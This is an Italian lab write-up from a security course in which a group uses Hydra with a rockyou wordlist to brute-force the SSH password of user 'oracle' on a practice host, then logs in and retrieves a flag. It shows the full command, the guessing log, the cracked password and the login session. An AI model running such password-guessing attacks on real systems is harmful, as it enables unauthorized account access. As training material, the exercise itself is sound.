

# W14D4 - Authentication cracking con Hydra

l'obiettivo dell'esercizio era riuscire a recuperare la password di un utente (oracle) con Hydra e raggiungere il flag.

esercitazione fatta in gruppo, siamo riusciti a trovare la password dell'utente oracle grazie al comando hydra come si vede in figura

dopodiché entrando con ssh all'host, in questo caso lolz.gay, e inserendo la porta aperta da cui si può accedere, in questo caso 9001, siamo riusciti a raggiungere il flag

```
(kali㉿kali)-[~]
└─$ hydra -l oracle -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-05.txt -t4 lolz.gay ssh -s 9001 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-10 15:00:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found
[DATA] max 4 tasks per 1 server, overall 4 tasks, 13 login tries (l:1/p:13), ~4 tries per task
[DATA] attacking ssh://lolz.gay:9001/
[ATTEMPT] target lolz.gay - login "oracle" - pass "123456" - 1 of 13 [child 0] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "12345" - 2 of 13 [child 1] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "123456789" - 3 of 13 [child 2] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "password" - 4 of 13 [child 3] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "iloveyou" - 5 of 13 [child 2] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "princess" - 6 of 13 [child 0] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "1234567" - 7 of 13 [child 1] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "12345678" - 8 of 13 [child 3] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "abc123" - 9 of 13 [child 2] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "nicole" - 10 of 13 [child 0] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "daniel" - 11 of 13 [child 1] (0/0)
[ATTEMPT] target lolz.gay - login "oracle" - pass "babygirl" - 12 of 13 [child 3] (0/0)
[9001][ssh] host: lolz.gay login: oracle password: babygirl
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-10 15:00:54

(kali㉿kali)-[~]
└─$ ssh lolz.gay@oracle -p 9001
ssh: Could not resolve hostname oracle: No address associated with hostname

(kali㉿kali)-[~]
└─$ ssh oracle@lolz.gay -p 9001
The authenticity of host '[lolz.gay]:9001 ([129.152.2.99]:9001)' can't be established.
ED25519 key fingerprint is SHA256:AwS9FhDzP/pl3rC4Uqna5oXl3TUV0jZaRlf2LAefsSE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '[lolz.gay]:9001' (ED25519) to the list of known hosts.
oracle@lolz.gay's password:
Linux kali 6.12.33+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.33-1kali1 (2025-06-25) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Oct 10 15:02:50 2025 from 127.0.0.1
Could not chdir to home directory /home/oracle: No such file or directory
flag{C0ngr4tul4ti0ns_oracle!!}
Connection to lolz.gay closed.
```